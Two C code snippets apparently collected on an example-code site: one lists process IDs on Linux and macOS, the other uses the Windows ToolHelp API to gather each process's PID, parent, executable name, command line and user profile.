                if( rpal_string_wtoi( (RPWCHAR)finfo.fileName, &( toSnapshot[ i ].pid ) )
                    && 0 != toSnapshot[ i ].pid )
                {
                    i++;
                }
            }

            rDir_close( hProcDir );
        }
#elif defined( RPAL_PLATFORM_MACOSX )
        int mib[] = { CTL_KERN, KERN_PROC, KERN_PROC_ALL };
        struct kinfo_proc* infos = NULL;
        size_t size = 0;
        int ret = 0;
        int j = 0;

        if( 0 == ( ret = sysctl( mib, ARRAY_N_ELEM( mib ), infos, &size, NULL, 0 ) ) )
        {
            if( NULL != ( infos = rpal_memory_alloc( size ) ) )
            {
                while( 0 != ( ret = sysctl( mib, ARRAY_N_ELEM( mib ), infos, &size, NULL, 0 ) ) && ENOMEM == errno )
                {
                    if( NULL == ( infos = rpal_memory_realloc( infos, size ) ) )
                    {
                        break;
                    }
                }
            }
        }

        if( 0 == ret && NULL != infos )
        {
            isSuccess = TRUE;
            size = size / sizeof( struct kinfo_proc );
            for( j = 0; j < size; j++ )
            {
                toSnapshot[ i ].pid = infos[ j ].kp_proc.p_pid;
                toSnapshot[ i ].ppid = infos[ j ].kp_eproc.e_ppid;
                i++;
            }

            if( NULL != infos )
            {
                rpal_memory_free( infos );
                infos = NULL;
            }
        }
#endif
    }

    return isSuccess;
}
Beispiel #26
0
OSProcess *
GetOSProcesses(DWORD *n, DWORD *exitTag, DWORD *lastErrorCode) {
    // Create toolhelp snapshot.
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if(INVALID_HANDLE_VALUE == snapshot) {
        *exitTag = 1;
        return NULL;
    }

    PROCESSENTRY32W process;
    ZeroMemory(&process, sizeof(process));
    process.dwSize = sizeof(process);

    DWORD i = 0;
    OSProcess *procs = malloc(sizeof(*procs) * 2048);
    if (NULL == procs) {
        *exitTag = 2;
        return NULL;
    }

    // Walkthrough a snapshot of all OS processes.
    if (Process32FirstW(snapshot, &process)) {
        do {
            HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, process.th32ProcessID);
            if (NULL == hProcess) {
                // Ignore the process.
                continue;
            }

            procs[i].PID = process.th32ProcessID;
            procs[i].PPID = process.th32ParentProcessID;
            procs[i].IsRemote = IsRemote(process.th32ProcessID, exitTag, lastErrorCode);
            if (0 != *exitTag) {
                CloseHandle(hProcess);
                *exitTag = 0;
                continue;
            }
            procs[i].ExecName = GetProcessNameInDeviceForm(hProcess, exitTag, lastErrorCode);
            if (0 != *exitTag) {
                CloseHandle(hProcess);
                *exitTag = 0;
                continue;
            }
            procs[i].CommandLine = GetProcessCommandLine(hProcess, exitTag, lastErrorCode);
            if (0 != *exitTag) {
                free(procs[i].ExecName);
                CloseHandle(hProcess);
                *exitTag = 0;
                continue;
            }
            procs[i].UProfile = GetProcessUserProfile(hProcess, exitTag);
            if (0 != *exitTag) {
                free(procs[i].ExecName);
                free(procs[i].CommandLine);
                FreeUserProfile(procs[i].UProfile);
                CloseHandle(hProcess);
                *exitTag = 0;
                continue;
            }

            CloseHandle(hProcess);
            // Increment index only if OSProccesEx has been filled correctly.
            ++i;
        } while (Process32NextW(snapshot, &process));
    } else {
        // Could not retrieve information about the first process.
        *exitTag = 3;
        free(procs);
        procs = NULL;
    }
    CloseHandle(snapshot);
    *n = i;
    return procs;
}